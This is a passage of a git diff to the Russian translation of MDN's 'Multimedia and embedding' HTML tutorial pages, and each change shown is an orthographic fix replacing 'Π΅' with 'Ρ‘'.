Π° Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Π΄Π²Π° элСмСнта ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‚ Π²ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒ PDF, SVG ΠΈ Π΄Π°ΠΆΠ΅ Flash – ΡƒΡΡ‚Π°Ρ€Π΅Π²Π°ΡŽΡ‰Π°Ρ тСхнология, Π½ΠΎ всС Π΅Ρ‰Ρ‘ часто встрСчаСмая.</dd>
<dt><a href="/ru/docs/Learn/HTML/Multimedia_and_embedding/Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅_r_graphics_to_the_Web">Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ Π²Π΅ΠΊΡ‚ΠΎΡ€Π½ΠΎΠΉ Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ Π² Π’Π΅Π±</a></dt>
- <dd>ВСкторная Π³Ρ€Π°Ρ„ΠΈΠΊΠ° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… ситуациях. Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠ² Ρ‚ΠΈΠΏΠ° PNG/JPG, ΠΎΠ½Π° Π½Π΅ Π΄Π΅Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΡŽΡ‚ΡΡ/ΠΏΠΈΠΊΡΠ΅Π»ΠΈΠ·ΠΈΡ€ΡƒΡŽΡ‚ΡΡ ΠΏΡ€ΠΈ растяТСнии, ΠΎΠ½Π° остаётся Π³Π»Π°Π΄ΠΊΠΎΠΉ ΠΏΡ€ΠΈ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ вас с понятиСм Π²Π΅ΠΊΡ‚ΠΎΡ€Π½ΠΎΠΉ Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ ΠΈ ΡƒΡ‡ΠΈΡ‚ вас Π²ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒ популярный Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ {{glossary("SVG")}} Π² Π²Π΅Π±-страницы.</dd>
+ <dd>ВСкторная Π³Ρ€Π°Ρ„ΠΈΠΊΠ° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ Π² ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… ситуациях. Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚ ΠΎΠ±Ρ‹Ρ‡Π½Ρ‹Ρ… Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠ² Ρ‚ΠΈΠΏΠ° PNG/JPG, ΠΎΠ½Π° Π½Π΅ Π΄Π΅Ρ„ΠΎΡ€ΠΌΠΈΡ€ΡƒΡŽΡ‚ΡΡ/ΠΏΠΈΠΊΡΠ΅Π»ΠΈΠ·ΠΈΡ€ΡƒΡŽΡ‚ΡΡ ΠΏΡ€ΠΈ растяТСнии, ΠΎΠ½Π° остаётся Π³Π»Π°Π΄ΠΊΠΎΠΉ ΠΏΡ€ΠΈ ΠΌΠ°ΡΡˆΡ‚Π°Π±ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠΈ. Π­Ρ‚Π° ΡΡ‚Π°Ρ‚ΡŒΡ Π·Π½Π°ΠΊΠΎΠΌΠΈΡ‚ вас с понятиСм Π²Π΅ΠΊΡ‚ΠΎΡ€Π½ΠΎΠΉ Π³Ρ€Π°Ρ„ΠΈΠΊΠΈ ΠΈ ΡƒΡ‡ΠΈΡ‚ вас Π²ΡΡ‚Ρ€Π°ΠΈΠ²Π°Ρ‚ΡŒ популярный Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ {{glossary("SVG")}} Π² Π²Π΅Π±-страницы.</dd>
<dt><a href="https://developer.mozilla.org/ru/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images">АдаптивныС изобраТСния</a></dt>
<dd>
<p>Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ познакомимся с ΠΊΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΠ΅ΠΉ Π°Π΄Π°ΠΏΡ‚ΠΈΠ²Π½Ρ‹Ρ… ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ - ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Ρ…ΠΎΡ€ΠΎΡˆΠΎ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ Π½Π° устройствах с сильно Ρ€Π°Π·Π»ΠΈΡ‡Π°ΡŽΡ‰ΠΈΠΌΠΈΡΡ Ρ€Π°Π·ΠΌΠ΅Ρ€Π°ΠΌΠΈ экрана, Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ ΠΏΠΎΠ΄ΠΎΠ±Π½Ρ‹ΠΌΠΈ характСристиками,Β ΠΈ рассмотрим, ΠΊΠ°ΠΊΠΈΠ΅ инструмСнты прСдоставляСт HTML для ΠΈΡ… Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ. Π­Ρ‚ΠΎ ΠΏΠΎΠΌΠΎΠ³Π°Π΅Ρ‚ ΠΏΠΎΠ²Ρ‹ΡΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Ρ… устройств. АдаптивныС изобраТСния - это всСго лишь ΠΎΠ΄Π½Π° Ρ‡Π°ΡΡ‚ΡŒ Π°Π΄Π°ΠΏΡ‚ΠΈΠ²Π½ΠΎΠ³ΠΎ Π΄ΠΈΠ·Π°ΠΉΠ½Π°, Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΉ Ρ‚Π΅ΠΌΡ‹ CSS, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΠ·ΡƒΡ‡ΠΈΡ‚ΡŒ.</p>
@@ -44,7 +44,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding
<dl>
<dt><a href="/ru/docs/Learn/HTML/Multimedia_and_embedding/заставка_Mozilla">Π‘Ρ‚Ρ€Π°Π½ΠΈΡ†Π° привСтствия Mozilla</a></dt>
- <dd>Π’ этой аттСстации ΠΌΡ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ ваши знания ΠΏΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ тСхнологиям, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±ΡΡƒΠΆΠ΄Π°Π»ΠΈΡΡŒ Π² ΡΡ‚Π°Ρ‚ΡŒΡΡ… этого модуля, заставляя вас Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ нСсколько ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΈ Π²ΠΈΠ΄Π΅ΠΎ Π½Π° ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½ΡƒΡŽ ΠΏΡ€ΠΈΠ²Π΅Ρ‚ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ страницу, ΠΏΠΎΡΠ²ΡΡ‰Π΅Π½Π½ΡƒΡŽ Mozilla!</dd>
+ <dd>Π’ этой аттСстации ΠΌΡ‹ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΠΌ ваши знания ΠΏΠΎ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ тСхнологиям, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±ΡΡƒΠΆΠ΄Π°Π»ΠΈΡΡŒ Π² ΡΡ‚Π°Ρ‚ΡŒΡΡ… этого модуля, заставляя вас Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ нСсколько ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ ΠΈ Π²ΠΈΠ΄Π΅ΠΎ Π½Π° ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½ΡƒΡŽ ΠΏΡ€ΠΈΠ²Π΅Ρ‚ΡΡ‚Π²Π΅Π½Π½ΡƒΡŽ страницу, ΠΏΠΎΡΠ²ΡΡ‰Ρ‘Π½Π½ΡƒΡŽ Mozilla!</dd>
</dl>
<h2 id="Π‘ΠΌΠΎΡ‚Ρ€ΠΈ_Ρ‚Π°ΠΊΠΆΠ΅">Π‘ΠΌΠΎΡ‚Ρ€ΠΈ Ρ‚Π°ΠΊΠΆΠ΅</h2>
@@ -54,6 +54,6 @@ translation_of: Learn/HTML/Multimedia_and_embedding
<dd>ΠšΠ°Ρ€Ρ‚Π° изобраТСния прСдоставляСт способ Ρ€Π°Π·Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π° части, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΡΡΡ‹Π»Π°ΡŽΡ‚ΡΡ Π½Π° Ρ€Π°Π·Π½Ρ‹Π΅ мСста (ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²ΡŒΡ‚Π΅ сСбС Π³Π΅ΠΎΠ³Ρ€Π°Ρ„ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ ΠΊΠ°Ρ€Ρ‚Ρƒ, которая ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ странС, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΊΠ»ΠΈΠΊΠ°Π΅Ρ‚Π΅ Π½Π° Π½Π΅Π΅.) Π­Ρ‚Π° тСхнология ΠΈΠ½ΠΎΠ³Π΄Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ.</dd>
<dt><a href="https://learning.mozilla.org/en-US/activities/web-lit-basics-two/">ΠžΡΠ½ΠΎΠ²Ρ‹ Π’Π΅Π±-грамотности 2</a></dt>
<dd>
- <p>ΠŸΡ€Π΅Π²ΠΎΡΡ…ΠΎΠ΄Π½Ρ‹ΠΉ курс ΠΎΡ‚ Ρ„ΠΎΠ½Π΄Π° Mozilla, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ освСщаСт ΠΈ провСряСт Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°Π²Ρ‹ΠΊΠΈ, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Π΅ Π² ΠΌΠΎΠ΄ΡƒΠ»Π΅Β <em>ΠœΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ° ΠΈ встраиваниС</em>. ΠŸΠΎΠ³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ΡΡŒ Π³Π»ΡƒΠ±ΠΆΠ΅ Π² основы вСрстки Π²Π΅Π±-страниц, проСктирования для доступности, ΠΎΠ±ΠΌΠ΅Π½Π° рСсурсами, использования ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-БМИ ΠΈ Ρ€Π°Π±ΠΎΡ‚Ρ‹ с ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ ΠΊΠΎΠ΄ΠΎΠΌ.</p>
+ <p>ΠŸΡ€Π΅Π²ΠΎΡΡ…ΠΎΠ΄Π½Ρ‹ΠΉ курс ΠΎΡ‚ Ρ„ΠΎΠ½Π΄Π° Mozilla, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ освСщаСт ΠΈ провСряСт Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°Π²Ρ‹ΠΊΠΈ, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Π΅ Π² ΠΌΠΎΠ΄ΡƒΠ»Π΅Β <em>ΠœΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ° ΠΈ встраиваниС</em>. ΠŸΠΎΠ³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ΡΡŒ Π³Π»ΡƒΠ±ΠΆΠ΅ Π² основы вёрстки Π²Π΅Π±-страниц, проСктирования для доступности, ΠΎΠ±ΠΌΠ΅Π½Π° рСсурсами, использования ΠΈΠ½Ρ‚Π΅Ρ€Π½Π΅Ρ‚-БМИ ΠΈ Ρ€Π°Π±ΠΎΡ‚Ρ‹ с ΠΎΡ‚ΠΊΡ€Ρ‹Ρ‚Ρ‹ΠΌ ΠΊΠΎΠ΄ΠΎΠΌ.</p>
</dd>
</dl>
diff --git a/files/ru/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html b/files/ru/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html
index 8cbd9191df..bfb1efb19a 100644
--- a/files/ru/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html
+++ b/files/ru/learn/html/multimedia_and_embedding/mozilla_splash_page/index.html
@@ -30,12 +30,12 @@ original_slug: Learn/HTML/Multimedia_and_embedding/заставка_Mozilla
<p>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ изобраТСния ΠΈΠ· ΠΏΠ°ΠΏΠΊΠΈΒ <a href="https://github.com/mdn/learning-area/tree/master/html/multimedia-and-embedding/mdn-splash-page-start/originals">originals</a> Ρ‚Π΅ΠΌ ΠΆΠ΅ способом; Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ Π²Ρ‹ Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠΎΡ…Ρ€Π°Π½ΠΈΡ‚ΡŒ ΠΈΡ… Π² Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΏΠ°ΠΏΠΊΠ΅ ΠΏΠΎΠΊΠ° Π½Π΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚Π΅ (Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΈΠ· Π½ΠΈΡ…) с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ графичСского Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€Π°.</p>
<div class="note">
-<p><strong>Note</strong>: ΠŸΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° HTML файл содСрТит довольно ΠΌΠ½ΠΎΠ³ΠΎΒ CSS для стилизации страницы. Π’Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒΒ CSS, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ HTML Π²Π½ΡƒΡ‚Ρ€ΠΈ {{htmlelement("body")}} элСмСнта — ΠΏΠΎΠΊΠ° Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅Β ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΡƒΡŽ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ, CSS Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠ΄Π°Π²Π°Ρ‚ΡŒΒ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ внСшний Π²ΠΈΠ΄.</p>
+<p><strong>Note</strong>: ΠŸΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π° HTML файл содСрТит довольно ΠΌΠ½ΠΎΠ³ΠΎΒ CSS для стилизации страницы. Π’Π°ΠΌ Π½Π΅ Π½ΡƒΠΆΠ½ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒΒ CSS, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ HTML Π²Π½ΡƒΡ‚Ρ€ΠΈ {{htmlelement("body")}} элСмСнта — ΠΏΠΎΠΊΠ° Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅Β ΠΊΠΎΡ€Ρ€Π΅ΠΊΡ‚Π½ΡƒΡŽ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΡƒ, CSS Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠ΄Π°Π²Π°Ρ‚ΡŒΒ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½Ρ‹ΠΉ внСшний Π²ΠΈΠ΄.</p>
</div>
<h2 id="ОписаниС_ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°">ОписаниС ΠΏΡ€ΠΎΠ΅ΠΊΡ‚Π°</h2>
-<p>Π’ этом Π·Π°Π΄Π°Π½ΠΈΠΈ ΠΌΡ‹ прСдставляСм Π²Π°ΠΌ ΠΏΠΎΡ‡Ρ‚ΠΈ Π·Π°ΠΊΠΎΠ½Ρ‡Π΅Π½Π½Ρ‹ΠΉ сайт-Π²ΠΈΠ·ΠΈΡ‚ΠΊΡƒ Mozilla, Ρ†Π΅Π»ΡŒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ - Ρ€Π°ΡΡΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ интСрСсноС ΠΎ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΠ°Ρ…Β Mozilla ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒΒ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΎ ссылок для ΡƒΠ³Π»ΡƒΠ±Π»Π΅Π½Π½ΠΎΠ³ΠΎ ознакомлСния. К соТалСнию, изобраТСния ΠΈΠ»ΠΈ Π²ΠΈΠ΄Π΅ΠΎ Π½Π΅ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ - это ваша Ρ€Π°Π±ΠΎΡ‚Π°!Β Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ нСсколько ΠΌΠ΅Π΄ΠΈΠ°-Ρ„Π°ΠΉΠ»ΠΎΠ² для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ страница ΡΠΌΠΎΡ‚Ρ€Π΅Π»Π°ΡΡŒ Π»ΡƒΡ‡ΡˆΠ΅ ΠΈ ΠΈΠΌΠ΅Π»Π° большС смысла. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΠΏΠΎΠ΄Ρ€Π°Π·Π΄Π΅Π»Π°Ρ… ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ объяснСно, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ трСбуСтся ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ:</p>
+<p>Π’ этом Π·Π°Π΄Π°Π½ΠΈΠΈ ΠΌΡ‹ прСдставляСм Π²Π°ΠΌ ΠΏΠΎΡ‡Ρ‚ΠΈ Π·Π°ΠΊΠΎΠ½Ρ‡Π΅Π½Π½Ρ‹ΠΉ сайт-Π²ΠΈΠ·ΠΈΡ‚ΠΊΡƒ Mozilla, Ρ†Π΅Π»ΡŒ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ - Ρ€Π°ΡΡΠΊΠ°Π·Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Π½ΠΈΠ±ΡƒΠ΄ΡŒ интСрСсноС ΠΎ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΠ°Ρ…Β Mozilla ΠΈ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒΒ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΎ ссылок для ΡƒΠ³Π»ΡƒΠ±Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ ознакомлСния. К соТалСнию, изобраТСния ΠΈΠ»ΠΈ Π²ΠΈΠ΄Π΅ΠΎ Π½Π΅ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½Ρ‹ - это ваша Ρ€Π°Π±ΠΎΡ‚Π°!Β Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ нСсколько ΠΌΠ΅Π΄ΠΈΠ°-Ρ„Π°ΠΉΠ»ΠΎΠ² для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ страница ΡΠΌΠΎΡ‚Ρ€Π΅Π»Π°ΡΡŒ Π»ΡƒΡ‡ΡˆΠ΅ ΠΈ ΠΈΠΌΠ΅Π»Π° большС смысла. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… ΠΏΠΎΠ΄Ρ€Π°Π·Π΄Π΅Π»Π°Ρ… ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ объяснСно, Ρ‡Ρ‚ΠΎ Π²Π°ΠΌ трСбуСтся ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ:</p>
<h3 id="ΠŸΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠ°_ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ">ΠŸΠΎΠ΄Π³ΠΎΡ‚ΠΎΠ²ΠΊΠ° ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠΉ</h3>
@@ -77,7 +77,7 @@ original_slug: Learn/HTML/Multimedia_and_embedding/заставка_Mozilla
<p><strong>Note</strong>: Для ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΊΠΈ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΡΡ‚ΠΈ Ρ€Π°Π±ΠΎΡ‚Ρ‹Β <code>srcset</code>/<code>sizes</code> , Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚ΡŒ ваш сайт Π½Π° сСрвСр (ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅Β <a href="/en-US/docs/Learn/Common_questions/Using_Github_pages">Github pages</a>Β - простоС ΠΈ бСсплатноС Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅).Β Π—Π°Ρ‚Π΅ΠΌΒ  Π²Ρ‹ смоТСтС ΠΏΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΡΡ‚ΡŒ ΠΈΡ… Ρ€Π°Π±ΠΎΡ‚Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ инструмСнты Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° Π² Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅,Β ΠΊΠ°ΠΊ описано в <a href="/en-US/Learn/HTML/Multimedia_and_embedding/Responsive_images#Useful_developer_tools">Responsive images: useful developer tools</a>.</p>
</div>
-<h3 id="Π˜ΡΠΊΡƒΡΡΡ‚Π²Π΅Π½Π½ΠΎ_измСнСнная_красная_ΠΏΠ°Π½Π΄Π°">Π˜ΡΠΊΡƒΡΡΡ‚Π²Π΅Π½Π½ΠΎ измСнСнная красная ΠΏΠ°Π½Π΄Π°</h3>
+<h3 id="Π˜ΡΠΊΡƒΡΡΡ‚Π²Π΅Π½Π½ΠΎ_измСнённая_красная_ΠΏΠ°Π½Π΄Π°">Π˜ΡΠΊΡƒΡΡΡ‚Π²Π΅Π½Π½ΠΎ измСнённая красная ΠΏΠ°Π½Π΄Π°</h3>
<p>Π’Π½ΡƒΡ‚Ρ€ΠΈ элСмСнта {{htmlelement("div")}} с классом <code>red-panda</code>, ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΠΏΠΎΠΌΠ΅ΡΡ‚ΠΈΡ‚ΡŒ элСмСнт {{htmlelement("picture")}} , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ малСнькоС ΠΏΠΎΡ€Ρ‚Ρ€Π΅Ρ‚Π½ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠ°Π½Π΄Ρ‹, Ссли экран мСньшС ΠΈΠ»ΠΈ Ρ€Π°Π²Π΅Π½Β 600px, Π»ΠΈΠ±ΠΎ большоС Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠ΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅.</p>
diff --git a/files/ru/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html b/files/ru/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html
index 6963f6a873..5baed457cc 100644
--- a/files/ru/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html
+++ b/files/ru/learn/html/multimedia_and_embedding/other_embedding_technologies/index.html
@@ -38,7 +38,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies
<ol>
<li>Π‘Π½Π°Ρ‡Π°Π»Π° ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ Π½Π° Youtube ΠΈ Π½Π°ΠΉΠ΄ΠΈΡ‚Π΅ ΠΏΠΎΠ½Ρ€Π°Π²ΠΈΠ²ΡˆΠ΅Π΅ΡΡ Π²Π°ΠΌ Π²ΠΈΠ΄Π΅ΠΎ.</li>
- <li>Под Π²ΠΈΠ΄Π΅ΠΎ Π²Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ ΠΊΠ½ΠΎΠΏΠΊΡƒ Β«ΠŸΠΎΠ΄Π΅Π»ΠΈΡ‚ΡŒΡΡΒ» - Π½Π°ΠΆΠΌΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ совмСстного доступа.</li>
+ <li>Под Π²ΠΈΠ΄Π΅ΠΎ Π²Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ ΠΊΠ½ΠΎΠΏΠΊΡƒ Β«ΠŸΠΎΠ΄Π΅Π»ΠΈΡ‚ΡŒΡΡΒ» - Π½Π°ΠΆΠΌΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ΡŒ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ совмСстного доступа.</li>
<li>Π’Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ ΠΊΠ½ΠΎΠΏΠΊΡƒ Β«Π’ΡΡ‚Π°Π²ΠΈΡ‚ΡŒΒ», ΠΈ Π²Π°ΠΌ Π±ΡƒΠ΄Π΅Ρ‚ прСдоставлСн ΠΊΠΎΠ΄ &lt;iframe&gt; - скопируйтС Π΅Π³ΠΎ.</li>
<li>Π’ΡΡ‚Π°Π²ΡŒΡ‚Π΅ Π΅Π³ΠΎ Π² ΠΏΠΎΠ»Π΅ Π²Π²ΠΎΠ΄Π° Π½ΠΈΠΆΠ΅ ΠΈ посмотритС Π½Π°Β Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ Π² Output.</li>
</ol>
@@ -53,7 +53,7 @@ translation_of: Learn/HTML/Multimedia_and_embedding/Other_embedding_technologies
